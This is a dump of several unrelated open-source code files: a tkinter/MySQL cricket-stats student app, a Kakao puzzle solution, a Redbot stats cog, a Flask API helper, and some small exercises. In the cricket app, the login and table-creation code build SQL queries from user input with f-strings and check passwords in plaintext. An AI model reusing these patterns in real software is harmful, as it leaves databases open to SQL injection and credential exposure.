command=okay_button_action)\n okay_button.grid(row=len(data_entries) + 1, column=0, columnspan=2, pady=10) # setting the okay button below the data list\n\n def new_data_window():\n new_window = Toplevel(root)\n new_window.title('Enter Data')\n new_window.geometry(f\"{root.winfo_width()}x{root.winfo_height()}+{root.winfo_x()}+{root.winfo_y()}\")\n\n table_list_label = Label(new_window, text='Enter Data:', font=('Microsoft YaHei UI Light', 12, 'bold'))\n table_list_label.grid(row=0, column=0, pady=10, columnspan=2) # Use grid here\n\n data_entries = [] # List to store Entry widgets\n\n # todo - Sample data, replace it with your actual data\n data = [(1, 10), (2, 15), (3, 8), (4, 20), (5, 12), (6, 18), (7, 25), (8, 16), (9, 22)]\n\n for i, (over, runs) in enumerate(data):\n Label(new_window, text=f'Over {over}:').grid(row=i + 1, column=0, padx=5, pady=5)\n entry = Entry(new_window, width=10)\n entry.insert(0, runs)\n entry.grid(row=i + 1, column=1, padx=5, pady=5)\n data_entries.append(entry)\n \n def okay_button_action():\n # Retrieve entered data from Entry widgets\n entered_data = []\n\n for entry in data_entries:\n try:\n value = int(entry.get())\n entered_data.append(value)\n except ValueError:\n messagebox.showerror(\"Error\", \"Please enter valid integers for runs.\")\n return\n\n # Ask for the new table name\n new_table_name = simpledialog.askstring(\"Input\", \"Enter a new table name:\")\n\n # Create a new table in the database; AUTO-INCREMENTING the 'Overs' Column\n create_table_query = f\"CREATE TABLE {new_table_name} (Overs INT AUTO_INCREMENT PRIMARY KEY, Runs INT NOT NULL)\"\n cur.execute(create_table_query)\n\n # Insert the entered data into the new table\n insert_data_query = f\"INSERT INTO {new_table_name} (Runs) VALUES (%s)\"\n cur.executemany(insert_data_query, [(run,) for run in entered_data])\n mydb.commit()\n\n # Updating the table name and the table in the main window\n tname.config(text=f'Table Name: {new_table_name}')\n update_table_data(new_table_name)\n\n new_window.destroy() # Close the Toplevel window\n # * End of Function\n \n okay_button = Button(new_window, text='Okay', command=okay_button_action)\n okay_button.grid(row=len(data) + 1, column=0, columnspan=2, pady=10) # setting the okay button bellow the data list\n\n\n # * when plot data is pressed \n def plot_data(table_name):\n over_data = f'SELECT * FROM {table_name}'\n cur.execute(over_data)\n res = cur.fetchall()\n\n overs = []\n runs = []\n\n for row in res:\n overs.append(row[0]) # Assuming the first column is Overs\n runs.append(row[1]) # Assuming the second column is Runs\n\n # Plotting the data\n plt.figure(figsize=(8, 6))\n plt.plot(overs, runs, marker='o')\n plt.title(f'Data Plot for {table_name}')\n plt.xlabel('Overs')\n plt.ylabel('Runs')\n plt.grid(True)\n plt.show()\n\n\n # * ---------- BUTTONS ------------\n select_data = Button(sidebar, width=20, pady=3, text='Select Data', bg='black', fg='white', border=2, command=open_new_window)\n select_data.grid(row=40, column=1, padx=15, pady=20)\n\n add_data = Button(sidebar, width=20, pady=3, text='Add Data', bg='black', fg='white', border=2, command=add_data_window)\n add_data.grid(row=50, column=1, padx=15, pady=20)\n\n delete_data = Button(sidebar , width=20, pady=3, text='Delete Data', bg='black', fg='white', border=2)\n delete_data.grid(row = 60, column = 1, padx = 15, pady=20)\n\n update_data = Button(sidebar , width=20, pady=3, text='Update Data', bg='black', fg='white', border=2, command=update_data_window)\n update_data.grid(row = 70, column = 1, padx = 15, pady=20)\n\n show_data = Button(rightbar, width=20, pady=3, text='Plot Data', bg='black', fg='white', border=2, command=lambda: plot_data(currTable))\n show_data.grid(row=40, column=9, padx=15, pady=20)\n\n # * --------------------- TABULAR DATA --------------------\n\n over_data = 'SELECT * FROM MATCH_1'\n cur.execute(over_data)\n res = cur.fetchall()\n\n tree = ttk.Treeview(data_frame, columns=('Over', 'Runs'), show='headings', height=10)\n tree.heading('Over', text='Over No.')\n tree.heading('Runs', text='Runs Scored')\n # tree.place(x = 300 , y = 120)\n tree.pack(fill='both', expand=True)\n\n\n for row in res:\n tree.insert('', 'end', values=row)\n\n # todo - Adjust Column Widths\n\n tree.column('Over', width=100)\n tree.column('Runs', width=100)\n \n # *--------------------------------------------------\n def predict_next_over():\n file_path = 'output.csv'\n if os.path.exists(file_path):\n data = pd.read_csv('output.csv')\n else :\n print('File exists error')\n \n \n # data = pd.read_csv('output.csv')\n formula = LinearRegression()\n x = data.overs.values.reshape(-1,1)\n y = data.runs.values.reshape(-1,1)\n # Fit the linear regression model\n\n formula.fit(x, y)\n\n # Predict the next over's runs\n next_over = 10\n next_over_runs = formula.predict([[next_over]])\n print(int(next_over_runs))\n # Update the label with the prediction\n next_over_label.config(text=f'Next Over Prediction: {int(next_over_runs)} runs')\n\n # ... Existing code ...\n\n # Add a button to trigger prediction\n button_predict = Button(root, text='Predict Next Over', command=predict_next_over)\n button_predict.pack(pady=10)\n # *--------------------------------------------------\n \n \n # * Add a Label for Next Over Prediction\n prediction_frame = Frame(root, width=800, height=50, bg='white')\n prediction_frame.place(x=100, y=490)\n\n next_over_label = Label(prediction_frame, text=\"Next Over Prediction: {Next Over Runs}\", fg='black', bg='white',\n font=('Microsoft YaHei UI Light', 12, 'bold'))\n next_over_label.pack()\n\n# ! ------------------------------------------------------------------\n\n\ndef authenticate():\n name = username.get().lower()\n lock = passwd.get()\n query1 = f\"SELECT UNAME, PASSWORD from USERS where UNAME = '{name}' \"\n # query2 = f\"SELECT PASSWORD from USERS where Name = '{lock}' \"\n cur.execute(query1)\n result = cur.fetchone()\n\n # print(\"Result:\", result) # * Adding this line to see the result\n\n if result:\n print(\"USER FOUND\")\n stored_password = result[1] # Extract password from the tuple\n\n if lock == stored_password:\n print(f\"Password for user {result[0]} is Correct\")\n\n\n\n frame.destroy()\n \n \n # Show the welcome frame with the user's name\n show_welcome_frame(result[0])\n else:\n # print(\"Incorrect Password\")\n messagebox.showerror(\"Alert\",\"Incorrect Password\")\n\n else:\n messagebox.showerror(\"Alert\",\"USER NOT FOUND\")\n # print(\"USER NOT FOUND\")\n # log.info(\"User Not Found\")\n\n \n\n# * ----------------------- USERNAME , PASSWORD , BUTTON\ndef on_enter(e):\n username.delete(0,'end')\n \ndef on_leave(e):\n name = username.get()\n if name == '':\n username.insert(0,'Enter Username')\n \nusername = Entry(frame,width = 25, fg = 'black',border = 0, bg= 'white', font = ('Microsoft YaHei UI Light',12))\nusername.place(x = 100 , y = 100)\nusername.insert(0,'Enter Username')\nusername.bind('', on_enter)\nusername.bind('', on_leave)\nFrame(frame , width = 295 , height = 2,border = 0, bg = 'black').place(x = 100,y = 127) # this line places an underline below username entry widget\n\n\n\npasswd = Entry(frame , width = 25, border = 0, font = ('Microsoft YaHei UI Light',12), show = \"*\")\npasswd.place(x = 100 , y = 150)\n# passwd.insert(0,'Enter Password') # ! no need \nFrame(frame , width = 295 , height = 2, bg = 'black').place(x = 100,y = 177) # this line places an underline below username entry widget\n\n\nButton(frame, width=23, pady=3, text='Sign in', bg='black', fg='white', border=0, command=authenticate).place(x=130, y=204)\n\nroot.mainloop()\n","repo_name":"nawabSRJ/Sem3-Project","sub_path":"MyBEST11.py","file_name":"MyBEST11.py","file_ext":"py","file_size_in_byte":18112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17301889595","text":"# 2018 KAKAO BLIND RECRUITMENT\n# [1차] 프렌즈4블록\n# https://school.programmers.co.kr/learn/courses/30/lessons/17679\n\nfrom collections import deque\n\ndef check_board(board, m, n):\n remove_set = set()\n for i in range(m - 1): # Fix 1: Iterate up to m-1\n for j in range(n - 1):\n # board condition to check for 2x2 tile\n if (board[i][j] == board[i][j + 1] == board[i + 1][j] == board[i + 1][j + 1]) and board[i][j] != '0':\n # Add positions of 2x2 tiles with the same element to remove_set\n remove_set.add((i, j))\n remove_set.add((i, j + 1))\n remove_set.add((i + 1, j))\n remove_set.add((i + 1, j + 1))\n return remove_set\n\ndef rearrange_board(board, m, n, remove_set):\n for i, j in remove_set:\n board[i][j] = '0'\n \n # Iterate over columns\n for j in range(n): \n zero_positions = deque([])\n \n # Iterate from the bottom row to top\n for i in range(m - 1, -1, -1):\n # Keep track of all 0 positions in deque\n if board[i][j] == '0':\n zero_positions.append((i, j))\n \n else: # If character is position is non-zero\n if zero_positions: # if zero_positions is not empty\n # Swap 0 in (i, j) and character coordinates(qi, qj)\n qi, qj = zero_positions.popleft()\n board[qi][qj] = board[i][j]\n board[i][j] = '0'\n zero_positions.append((i, j)) # add current position back for future swaps \n # in the same column\n return board\n\ndef solution(m, n, board):\n total = 0\n board = [list(i) for i in board]\n remove_set = set()\n \n while True:\n remove_set = check_board(board, m, n)\n if remove_set:\n total += len(remove_set)\n board = rearrange_board(board, m, n, remove_set)\n remove_set.clear() \n \n else:\n break\n \n return total\n\n# Test Cases:\nm1, n1 = 4, 5\nm2, n2 = 6, 6\nboard1 = [\"CCBDE\", \"AAADE\", \"AAABF\", \"CCBBF\"]\nboard2 = [\"TTTANT\", \"RRFACC\", \"RRRFCC\", \"TRRRAA\", \"TTMMMF\", \"TMMTTJ\"]\n\nprint(solution(m1, n1, board1)) # Expected Output = 14\nprint(solution(m2, n2, board2)) # Expected Output = 15\n\n### Approach 1: \n# def split_input(board):\n# new_board = []\n# for item in board:\n# new_board.append(list(item))\n# return new_board\n\n# def unique_elements(m, n, board):\n# unique = []\n# for i in range(m):\n# for j in range(n):\n# if board[i][j] not in unique:\n# unique.append(board[i][j])\n# return unique\n\n# def createTiles(unique_block):\n# tiles = []\n# for alphabet in unique_block:\n# tiles.append([[alphabet, alphabet], [alphabet, alphabet]])\n# return tiles\n\n# def solution(m, n, board):\n# total = 0\n# board = split_input(board) # alternative: [list(i) for i in board]\n# unique_block = unique_elements(m, n, board)\n \n# # List of 2 by 2 Tiles\n# tiles = createTiles(unique_block)\n \n# for tile in tiles:\n# for i in range(m-1):\n# for j in range(n-1):\n# match = True\n# for x in range(2):\n# for y in range(2):\n# if tile[x][y] != board[x+i][y+j]:\n# match = False\n# break\n# if not match:\n# break\n# if match:\n \n# return total","repo_name":"jry016/Python-Coding-Test-Prep","sub_path":"KAKAO Coding Tests/[2018 KAKAO BLIND RECRUITMENT][1차]프렌즈4블록.py","file_name":"[2018 KAKAO BLIND RECRUITMENT][1차]프렌즈4블록.py","file_ext":"py","file_size_in_byte":3629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21811389459","text":"import asyncio\nimport datetime\nfrom collections import OrderedDict\nfrom copy import deepcopy\nfrom typing import Counter, Optional\n\nimport discord\nimport tabulate\nfrom redbot.core import Config, commands\nfrom redbot.core.utils.chat_formatting import box\nfrom redbot.core.utils.menus import DEFAULT_CONTROLS, menu\n\n\ndef chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i : i + n]\n\n\nclass CommandStats(commands.Cog):\n \"\"\"Command Statistics.\"\"\"\n\n __version__ = \"0.0.4\"\n\n def format_help_for_context(self, ctx):\n \"\"\"Thanks Sinbad.\"\"\"\n pre_processed = super().format_help_for_context(ctx)\n return f\"{pre_processed}\\nCog Version: {self.__version__}\"\n\n def __init__(self, bot):\n self.bot = bot\n self.config = Config.get_conf(self, 1398467138476, force_registration=True)\n default_global = {\"globaldata\": Counter({}), \"guilddata\": {}}\n self.config.register_global(**default_global)\n self.cache = {\"guild\": {}, \"session\": Counter({})}\n self.session = Counter()\n self.session_time = datetime.datetime.utcnow()\n\n def cog_unload(self):\n asyncio.create_task(self.update_data())\n asyncio.create_task(self.update_global())\n\n def record(self, ctx, name):\n guild = ctx.message.guild\n if not ctx.message.author.bot:\n if guild is not None:\n if str(guild.id) not in self.cache[\"guild\"]:\n self.cache[\"guild\"][str(guild.id)] = Counter({})\n if name not in self.cache[\"guild\"][str(guild.id)]:\n self.cache[\"guild\"][str(guild.id)][name] = 1\n else:\n self.cache[\"guild\"][str(guild.id)][name] += 1\n if name not in self.cache[\"session\"]:\n self.cache[\"session\"][name] = 1\n else:\n self.cache[\"session\"][name] += 1\n if name not in self.session:\n self.session[name] = 1\n else:\n self.session[name] += 1\n\n @commands.Cog.listener()\n async def on_command(self, ctx):\n \"\"\"Record standard command events.\"\"\"\n name = str(ctx.command)\n self.record(ctx, name)\n\n @commands.Cog.listener()\n async def on_commandstats_action(self, ctx):\n \"\"\"Record action events (i.e. other cog emits 'commandstats_action').\"\"\"\n name = str(ctx.command)\n self.record(ctx, name)\n\n @commands.is_owner()\n @commands.group(invoke_without_command=True)\n async def cmd(self, ctx, *, command: str = None):\n \"\"\"Group command for command stats.\n\n This command does not log the issuing command.\n \"\"\"\n await self.update_global()\n data = await self.config.globaldata()\n if not data:\n return await ctx.send(\"No commands have been used yet.\")\n if command is None:\n data = OrderedDict(sorted(data.items(), key=lambda t: t[1], reverse=True))\n stats = []\n for cmd, amount in data.items():\n stats.append([f\"{cmd}\", f\"{amount} time{'s' if amount > 1 else ''}!\"])\n a = chunks(stats, 15)\n embeds = []\n for items in a:\n stats = []\n for item in items:\n stats.append(item)\n embed = discord.Embed(\n title=\"Commands used\",\n colour=await self.bot.get_embed_color(ctx.channel),\n description=box(\n tabulate.tabulate(stats, headers=[\"Command\", \"Times Used\"]), lang=\"prolog\"\n ),\n )\n embeds.append(embed)\n if len(embeds) == 1:\n await ctx.send(embed=embeds[0])\n else:\n await menu(ctx, embeds, DEFAULT_CONTROLS)\n\n else:\n if command in data:\n await ctx.send(f\"`{command}` has been used {data[command]} times!\")\n else:\n await ctx.send(f\"`{command}` hasn't been used yet!\")\n\n @cmd.command(aliases=[\"server\"])\n async def guild(\n self,\n ctx,\n server: Optional[commands.converter.GuildConverter] = None,\n *,\n command: str = None,\n ):\n \"\"\"Guild Command Stats.\"\"\"\n if not server:\n server = ctx.guild\n await self.update_data()\n data = await self.config.guilddata()\n data = data[str(server.id)]\n if not data:\n return await ctx.send(f\"No commands have been used in {server.name} yet.\")\n if command is None:\n data = OrderedDict(sorted(data.items(), key=lambda t: t[1], reverse=True))\n stats = []\n for cmd, amount in data.items():\n stats.append([f\"{cmd}\", f\"{amount} time{'s' if amount > 1 else ''}!\"])\n a = chunks(stats, 15)\n embeds = []\n for items in a:\n stats = []\n for item in items:\n stats.append(item)\n embed = discord.Embed(\n title=f\"Commands used in {server.name}\",\n colour=await self.bot.get_embed_color(ctx.channel),\n description=box(\n tabulate.tabulate(stats, headers=[\"Command\", \"Times Used\"]), lang=\"prolog\"\n ),\n )\n embeds.append(embed)\n if len(embeds) == 1:\n await ctx.send(embed=embeds[0])\n else:\n await menu(ctx, embeds, DEFAULT_CONTROLS)\n\n else:\n if command in data:\n await ctx.send(\n f\"`{command}` has been used {data[command]} time{'s' if data[command] > 1 else ''} in {ctx.guild}!\"\n )\n else:\n await ctx.send(f\"`{command}` hasn't been used in {server.name}!\")\n\n @cmd.command()\n async def session(self, ctx, *, command: str = None):\n \"\"\"Session command stats.\"\"\"\n data = deepcopy(self.session)\n if str(ctx.command) in data:\n data[str(ctx.command)] += 1\n else:\n data[str(ctx.command)] = 1\n if not data:\n return await ctx.send(\"No commands have been used in this session\")\n if command is None:\n data = OrderedDict(sorted(data.items(), key=lambda t: t[1], reverse=True))\n stats = []\n for cmd, amount in data.items():\n stats.append([f\"{cmd}\", f\"{amount} time{'s' if amount > 1 else ''}!\"])\n a = chunks(stats, 15)\n embeds = []\n for items in a:\n stats = []\n for item in items:\n stats.append(item)\n embed = discord.Embed(\n title=\"Commands used in this session\",\n colour=await self.bot.get_embed_color(ctx.channel),\n description=box(\n tabulate.tabulate(stats, headers=[\"Command\", \"Times Used\"]), lang=\"prolog\"\n ),\n timestamp=self.session_time,\n )\n embed.set_footer(text=\"Recording sessions commands since\")\n embeds.append(embed)\n if len(embeds) == 1:\n await ctx.send(embed=embeds[0])\n else:\n await menu(ctx, embeds, DEFAULT_CONTROLS)\n\n else:\n if command in data:\n await ctx.send(\n f\"`{command}` has been used {data[command]} time{'s' if data[command] > 1 else ''} in this session!\"\n )\n else:\n await ctx.send(f\"`{command}` hasn't been used in this session!\")\n\n async def update_data(self):\n async with self.config.guilddata() as guilddata:\n for guild in self.cache[\"guild\"]:\n if guild in guilddata:\n olddata = Counter(guilddata[guild])\n else:\n olddata = Counter({})\n data = Counter(olddata + self.cache[\"guild\"][guild])\n self.cache[\"guild\"][guild] = Counter()\n guilddata[guild] = data\n\n async def update_global(self):\n globaldata = await self.config.globaldata()\n data = globaldata + self.cache[\"session\"]\n await self.config.globaldata.set(data)\n self.cache[\"session\"] = Counter({})\n","repo_name":"DariusStClair/Flare-Cogs","sub_path":"commandstats/commandstats.py","file_name":"commandstats.py","file_ext":"py","file_size_in_byte":8417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"4588503231","text":"import collections\nimport functools\nimport json\nimport os\nimport re\nimport textwrap\nfrom collections import OrderedDict\n\nimport simple_yaml as yaml\nfrom flask import abort as flask_abort\nfrom flask import Flask, jsonify, request\nfrom jinja2 import Template\nfrom markdown import markdown as origin_markdown\nfrom validr import Invalid, SchemaError, SchemaParser\nfrom validr.schema import MarkKey\n\nRE_DIRECTIVE = re.compile(r'[\\t ]*\\$\\w+:')\nRE_SHARED = re.compile(r'[\\t ]*\\@\\w+:')\n\n_DOC_PATH = os.path.join(os.path.dirname(__file__), 'document.jinja2')\nwith open(_DOC_PATH) as f:\n _DOC_TMPL = Template(f.read())\n\n\ndef dumps(v):\n return json.dumps(v, ensure_ascii=False, indent=4)\n\n\ndef markdown(text):\n \"\"\"用Markdown解析文档\"\"\"\n extensions = ['nl2br', 'tables', 'fenced_code']\n return origin_markdown(text, extensions=extensions)\n\n\ndef render(desc='', shared=None, resources=None, directives=None):\n \"\"\"渲染文档\"\"\"\n desc = markdown(desc)\n if shared is None:\n shared = OrderedDict()\n else:\n shared = OrderedDict([(k, dumps(v)) for k, v in shared.items()])\n if resources is None:\n resources = OrderedDict()\n else:\n resources = OrderedDict(sorted(resources.items(), key=lambda x: x[0]))\n if directives is None:\n directives = OrderedDict()\n else:\n directives = OrderedDict(\n [(k, dumps(v)) for k, v in directives.items()])\n return _DOC_TMPL.render(\n desc=desc, shared=shared, directives=directives, resources=resources)\n\n\ndef accept_json():\n \"\"\"判断客户端是否接受JSON响应\"\"\"\n mediatype = request.accept_mimetypes.best_match(\n ['text/html', 'application/json'], default='text/html')\n return mediatype == 'application/json' or 'json' in request.args\n\n\ndef abort(message):\n \"\"\"\n Abort with 400 response\n\n Args:\n message (str): 错误提示\n \"\"\"\n response = jsonify(message)\n response.status_code = 400\n flask_abort(400, response=response)\n\n\ndef get_request_data():\n \"\"\"Get request data based on request mimetype\"\"\"\n if request.mimetype == 'application/json':\n try:\n data = request.get_json()\n except:\n abort(\"Invalid JSON content\")\n if not isinstance(data, collections.abc.Mapping):\n abort(\"JSON content must be object\")\n return data\n else:\n return request.form\n\n\ndef _parse_doc(doc, mark):\n \"\"\"\n Parse YAML syntax data from doc\n\n if doc is None, return ('', OrderedDict())\n if doc has no YAML data, return (doc, OrderedDict())\n else, parse YAML data, return (doc, data)\n\n Args:\n doc (str): doc to be parsed\n mark (Regex): which marks the start position of data\n Returns:\n tuple(desc, data): data is an OrderedDict contains information of doc\n \"\"\"\n if doc is None:\n return '', OrderedDict()\n match = mark.search(doc)\n if not match:\n return textwrap.dedent(doc).strip(), OrderedDict()\n start = match.start()\n yamltext = textwrap.dedent(doc[start:])\n try:\n data = yaml.load(yamltext)\n except yaml.parser.ParserError as ex:\n raise SchemaError(str(ex)) from None\n return textwrap.dedent(doc[:start]).strip(), data\n\n\ndef parse_directive(doc):\n \"\"\"Parse directive from doc\"\"\"\n desc, data = _parse_doc(doc, RE_DIRECTIVE)\n directives = OrderedDict()\n for k, v in data.items():\n if k.startswith(\"$\"):\n directives[k[1:]] = v\n else:\n raise ValueError(\"Invalid directive {}\".format(k))\n return desc, directives\n\n\ndef parse_shared(doc):\n \"\"\"Parse shared from doc\"\"\"\n desc, data = _parse_doc(doc, RE_SHARED)\n shared = OrderedDict()\n for k, v in data.items():\n if k.startswith(\"@\"):\n shared[k[1:]] = v\n else:\n raise ValueError(\"Invalid shared {}\".format(k))\n return desc, shared\n\n\ndef get_title(doc):\n \"\"\"Get title of doc\"\"\"\n if not doc:\n return ''\n lines = doc.strip('\\n').split('\\n', maxsplit=1)\n title = lines[0].strip()\n if len(title) > 30:\n title = title[:30] + '...'\n return title\n\n\ndef input_directive(f, meta, api):\n \"\"\"$input指令\"\"\"\n\n def view():\n try:\n data = validate(get_request_data())\n except Invalid as ex:\n abort(str(ex))\n return f(**data)\n\n with MarkKey('$input'):\n validate = api.schema_parser.parse(meta)\n return view\n\n\ndef output_directive(f, meta, api):\n \"\"\"$output指令\"\"\"\n\n def view(*args, **kwargs):\n return validate(f(*args, **kwargs))\n\n with MarkKey('$output'):\n validate = api.schema_parser.parse(meta)\n return view\n\n\nclass Fighting(Flask):\n\n def __init__(self, *args, validators=None, directives=None, **kwargs):\n super().__init__(*args, **kwargs)\n self.config['JSON_AS_ASCII'] = False\n self._directives = {\n 'input': input_directive,\n 'output': output_directive\n }\n if directives:\n self._directives.update(directives)\n self._resources = {}\n self._desc, self._shared = parse_shared(\n __import__(self.import_name).__doc__)\n self.schema_parser = SchemaParser(\n validators=validators, shared=self._shared)\n self.route('/')(self._doc)\n\n def _doc(self):\n \"\"\"API文档\"\"\"\n params = dict(\n desc=self._desc,\n resources=self._resources,\n shared=self._shared\n )\n if accept_json():\n return jsonify(params)\n else:\n return render(**params)\n\n def res(self, resource):\n \"\"\"添加路由\"\"\"\n\n def decorater(f):\n action = f.__name__\n endpoint = '{}.{}'.format(resource, action)\n url = '/{}/{}'.format(resource, action)\n self._resources.setdefault(resource, [])\\\n .append({'title': get_title(f.__doc__), 'action': action})\n with MarkKey(endpoint):\n view = self.make_view(f)\n return self.route(\n url, methods=['GET', 'POST'], endpoint=endpoint)(view)\n\n return decorater\n\n def make_view(self, f):\n \"\"\"将action转成view\"\"\"\n origin = f\n desc, directives = parse_directive(f.__doc__)\n for directive, meta in directives.items():\n f = self._directives[directive](f, meta, self)\n\n @functools.wraps(origin)\n def view():\n if request.method == 'POST':\n response = f()\n if isinstance(response, self.response_class):\n return response\n return jsonify(response)\n elif request.method == 'GET':\n if accept_json():\n return jsonify(desc=desc, directives=directives)\n else:\n return render(desc=desc, directives=directives)\n else:\n flask_abort(405)\n\n return view\n","repo_name":"ncuhome/fighting","sub_path":"fighting/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6985,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"42685703375","text":"# python3\n\nimport sys, threading\nsys.setrecursionlimit(10**6) # max depth of recursion\nthreading.stack_size(2**27) # new thread will get stack of such size\n\nclass TreeOrders:\n def read(self):\n self.n = int(sys.stdin.readline())\n self.key = [0 for i in range(self.n)]\n self.left = [0 for i in range(self.n)]\n self.right = [0 for i in range(self.n)]\n self.result = []\n for i in range(self.n):\n [a, b, c] = map(int, sys.stdin.readline().split())\n self.key[i] = a\n self.left[i] = b\n self.right[i] = c\n\n def inOrder(self,x=0):\n\n if self.left[x] != -1:\n self.inOrder(self.left[x])\n\n self.result.append(self.key[x])\n\n if self.right[x] != -1:\n self.inOrder(self.right[x])\n\n if len(self.result) == self.n:\n print(*self.result, sep = \" \")\n self.result.clear()\n\n def preOrder(self, x=0):\n\n self.result.append(self.key[x])\n\n if self.left[x] != -1:\n self.preOrder(self.left[x])\n\n if self.right[x] != -1:\n self.preOrder(self.right[x])\n\n if len(self.result) == self.n:\n print(*self.result, sep=\" \")\n self.result.clear()\n\n\n def postOrder(self, x=0):\n\n\n\n if self.left[x] != -1:\n self.postOrder(self.left[x])\n\n if self.right[x] != -1:\n self.postOrder(self.right[x])\n\n self.result.append(self.key[x])\n\n if len(self.result) == self.n:\n print(*self.result, sep=\" \")\n self.result.clear()\n\n\ndef main():\n tree = TreeOrders()\n tree.read()\n tree.inOrder()\n tree.preOrder()\n tree.postOrder()\n\nthreading.Thread(target=main).start()\n","repo_name":"KeithPallo/independent_coursework","sub_path":"3 - MOOC - Data Structures/Assignment 4 - BST & Splay Trees/tree-orders.py","file_name":"tree-orders.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43312188235","text":"\r\n###############\r\n# Authored by Weisheng Jiang\r\n# Book 3 | From Basic Arithmetic to Machine Learning\r\n# Published and copyrighted by Tsinghua University Press\r\n# Beijing, China, 2022\r\n###############\r\n\r\n# Bk3_Ch5_04\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef plot_polar(theta, r):\r\n\r\n fig, ax = plt.subplots(subplot_kw={'projection': 'polar'})\r\n ax.plot(theta, r)\r\n # set radial axis limit\r\n ax.set_rmax(20)\r\n # set radial axis ticks\r\n ax.set_rticks([5, 10, 15, 20]) \r\n # position radial labels\r\n ax.set_rlabel_position(-45) \r\n ax.set_thetagrids(np.arange(0.0, 360.0, 45.0)); \r\n plt.show()\r\n \r\n#%% circle\r\ntheta = np.linspace(0, 6*np.pi, 1000)\r\n\r\nr = 10 + theta*0\r\nplot_polar(theta, r)\r\n\r\n#%% Archimedes' spiral\r\nr = 1*theta\r\nplot_polar(theta, r)\r\n\r\n#%% Rose\r\nr = 10*np.cos(6*theta) + 10\r\nplot_polar(theta, r)\r\n\r\n","repo_name":"Visualize-ML/Book3_Elements-of-Mathematics","sub_path":"Book3_Ch05_Python_Codes/Bk3_Ch5_04.py","file_name":"Bk3_Ch5_04.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":4864,"dataset":"github-code","pt":"31"} +{"seq_id":"14167453346","text":"\"\"\"Interface to local simulators.\n\nThis module is the interface to all the local simulators in this directory.\nIt handles automatically discovering and interfacing with those modules. Once\ninstantiated like::\n\n>>> import _localsimulator\n>>> simulator_list = _localsimulator.local_backends()\n>>> sim = _localsimulator.LocalSimulator(simulator_list[0], job)\n>>> sim.run()\n>>> results = sim.results()\n\n`simulator_list` is the list of names of known simulators and `job` is\na dictionary of the form {'compiled_circuit': circuit, 'shots': shots,\n'seed': seed}.\n\nThe import does discovery of the simulator modules in this directory. The\nsecond command attempts to determine which modules are functional, in\nparticular for modules which require making calls to compiled binaries.\n\nIn order for a module to be registered it needs to define a module-scope\ndictionary of the form::\n\n __configuration = {'name': 'local_qasm_simulator',\n 'url': 'https://github.com/IBM/qiskit-sdk-py',\n 'simulator': True,\n 'description': 'A python simulator for qasm files',\n 'coupling_map': 'all-to-all',\n 'basis_gates': 'u1,u2,u3,cx,id'}\n\nand it needs a class with a \"run\" method. The identifier for the backend\nsimulator comes from the \"name\" key in this dictionary. The class'\n__init__ method is called with a single `job` argument. The __init__\nmethod is also responsible for determining whether an associated\nbinary is available. If it is not, the FileNotFoundError exception\nshould be raised.\n\nAttributes:\n local_configuration : list of dict()\n This list gets populated with the __configuration records from each\n of the discovered modules.\n\n _simulator_classes : dict {\"\" : }\n This dictionary associates a simulator name with the class which\n generates its objects.\n\"\"\"\nimport os\nimport pkgutil\nimport importlib\nimport inspect\nimport json\n\nlocal_configuration = []\n_simulator_classes = {}\nfor mod_info, name, ispkg in pkgutil.iter_modules([os.path.dirname(__file__)]):\n if name not in __name__: # skip this module\n fullname = os.path.splitext(__name__)[0] + '.' + name\n modspec = importlib.util.find_spec(fullname)\n mod = importlib.util.module_from_spec(modspec)\n modspec.loader.exec_module(mod)\n if hasattr(mod, '__configuration'):\n local_configuration.append(mod.__configuration)\n for class_name, class_obj in inspect.getmembers(mod,\n inspect.isclass):\n if hasattr(class_obj, 'run'):\n class_obj = getattr(mod, class_name)\n _simulator_classes[mod.__configuration['name']] = class_obj\n\n\ndef local_backends():\n \"\"\"\n Attempt to determine the local simulator backends which are available.\n\n Mostly we are concerned about checking for whether the simulator executable\n associated with the discovered backend module exists. Discovery is done\n by instantiating the simulator object which should raise a\n FileNotFoundError if the program has not been compiled and placed in\n the executable path.\n\n Returns:\n A list of backend names.\n \"\"\"\n backend_list = []\n circuit = {'header': {'clbit_labels': [['cr', 1]],\n 'number_of_clbits': 1,\n 'number_of_qubits': 1,\n 'qubit_labels': [['qr', 0]]},\n 'operations':\n [{'name': 'h',\n 'params': [],\n 'qubits': [0]},\n {'clbits': [0],\n 'name': 'measure',\n 'qubits': [0]}]}\n job = {'compiled_circuit': json.dumps(circuit).encode(),\n 'config': {'shots': 1, 'seed': None}\n }\n for backend_id, backend in _simulator_classes.items():\n try:\n sim = backend(job)\n except FileNotFoundError as fnferr:\n # this is for discovery so just don't had to discovered list\n pass\n else:\n backend_list.append(backend_id)\n return backend_list\n\n\nclass LocalSimulator:\n \"\"\"\n Interface to simulators\n \"\"\"\n def __init__(self, backend, job):\n self._backend = backend\n self._job = job\n self._result = {'data': None, 'status': \"Error\"}\n self._sim = _simulator_classes[backend](job)\n\n def run(self, silent=False):\n simOutput = self._sim.run(silent)\n self._result[\"data\"] = simOutput[\"data\"]\n self._result[\"status\"] = simOutput[\"status\"]\n\n def result(self):\n return self._result\n","repo_name":"BryceFuller/quantum-mobile-backend","sub_path":"venv3/lib/python3.5/site-packages/qiskit/simulators/_localsimulator.py","file_name":"_localsimulator.py","file_ext":"py","file_size_in_byte":4719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"29178777681","text":"from django.conf.urls import url\nfrom .views import register,user_login,user_logout,user_profile\n\nurlpatterns = [\n url(r\"^register/$\",register,name='register'),\n url(r\"^login/$\",user_login,name='user_login'),\n url(r\"^logout/$\",user_logout,name='user_logout'),\n 